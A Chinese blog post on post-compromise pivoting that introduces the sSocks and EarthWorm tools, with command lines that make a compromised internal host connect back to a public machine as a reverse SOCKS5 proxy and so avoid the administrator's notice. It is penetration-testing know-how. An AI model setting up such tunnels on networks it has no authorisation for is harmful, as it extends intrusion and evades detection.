MENU

反向socks5代理(windows版)

February 17, 2016 • 技术随笔

内网渗透中,当我们获取了内网中的一台机器权限,想进一步扩大战果,如:内网环境探测、端口扫描。与此同时,这些操作如直接在内网机器进行操作,容易被管理员发现,T出内网。所以一般都会把内网代理出来,在本机进行(PS:在这个方面,Meterpreter已经做的很好了,但在没有msf的环境下,为了反弹出内网,去临时下载安装msf,从时间成本来说划不来)。

笔者在本文中推荐两个相关工具。

  • sSocks
  • EarthWorm

sSocks

sSocks是一个socks代理工具套装,可用来开启socks代理服务,支持socks5验证,支持IPV6和UDP,并提供反向socks代理服务,其最新版为0.0.14。

项目链接:http://sourceforge.net/projects/ssocks/

  • nsocks 类似通过Socks5代理后的netcat,可用来测试socks server
  • ssocksd 用来开启Socks5代理服务
  • ssocks 本地启用Socks5服务,并反弹到另一IP地址
  • rcsocks 接收反弹过来的Socks5服务,并转向另一端口

socks代理反弹用法:

在本地执行

./rcsocks -l 1088 -p 1080 -vv

等待远程Socks5服务器访问本地1080端口,创建端口1080与本地端口1088的连接通道。

在远程Socks5服务器上执行

./rssocks -vv -s 192.168.1.101:1080

通道已经建立,socks5代理的端口在本地的1088。

笔者在Github上找到了sSocks在windows上的版本(https://github.com/tostercx/ssocks

给出的源码是从linux上移植过来的,由于vs不支持c99标准,所以无法编译通过,必须得修改源码才能编译,下面给出编译好的binary版本。

binary版本:ssocks-win32-0.0.14.54.zip

github修改好的源码:点我

EarthWorm

EarthWorm是一款用于开启 SOCKS v5 代理服务的工具,基于标准 C 开发,可提供多平台间的转接通讯,用于复杂网络环境下的数据转发。作者是RootKiter,该工具能够以“正向”、“反向”、“多级级联”等方式打通一条网络隧道,直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。

工具主页: http://rootkiter.com/EarthWorm/

推荐这款工具的原因是由于它支持的平台比较全。

Program NameDescribeEg
ew_for_Win.exe适用各种Windows系统(X86指令集、X64指令集)Windows7、Windows XP
ew_for_Linux32各常见Linux发行版 (X86 指令集 CPU)Ubuntu(X86)/BT5(X86)
ew_for_linux64各常见Linux发行版 (X64 指令集 CPU)Ubuntu(X64)/Kali(X64)
ew_for_MacOSX64MacOS系统发行版 (X64 指令集)苹果PC电脑,苹果server
ew_for_Arm32常见Arm-Linux系统HTC New One(Arm-Android)/小米路由器(R1D)
ew_mipsel常见Mips-Linux系统 (Mipsel指令集 CPU)萤石硬盘录像机、小米mini路由器(R1CM)

目前工具提供六种链路状态,可通过 -s 参数进行选定,分别为:

  • ssocksd
  • rcsocks
  • rssocks
  • lcx_slave
  • lcx_tran
  • lcx_listen

其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供,分别对应正向与反向socks代理。

其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。

lcx 类别管道:

  • lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
  • lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
  • lcx_listen 该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。 通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。

使用方法:

一、正向 SOCKS v5 服务器

$ ./ew -s ssocksd -l 1080

二、反弹 SOCKS v5 服务器

这个操作具体分两步:

a) 先在一台具有公网 ip 的主机A上运行以下命令:

$ ./ew -s rcsocks -l 1080 -e 8888

b) 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口

$ ./ew -s rssocks -d 1.1.1.1 -e 8888

更详细的用法,可以去工具主页看介绍
本文提供所有binary版本打包
附件:ew.zip

Archives QR Code
QR Code for this page
Tipping QR Code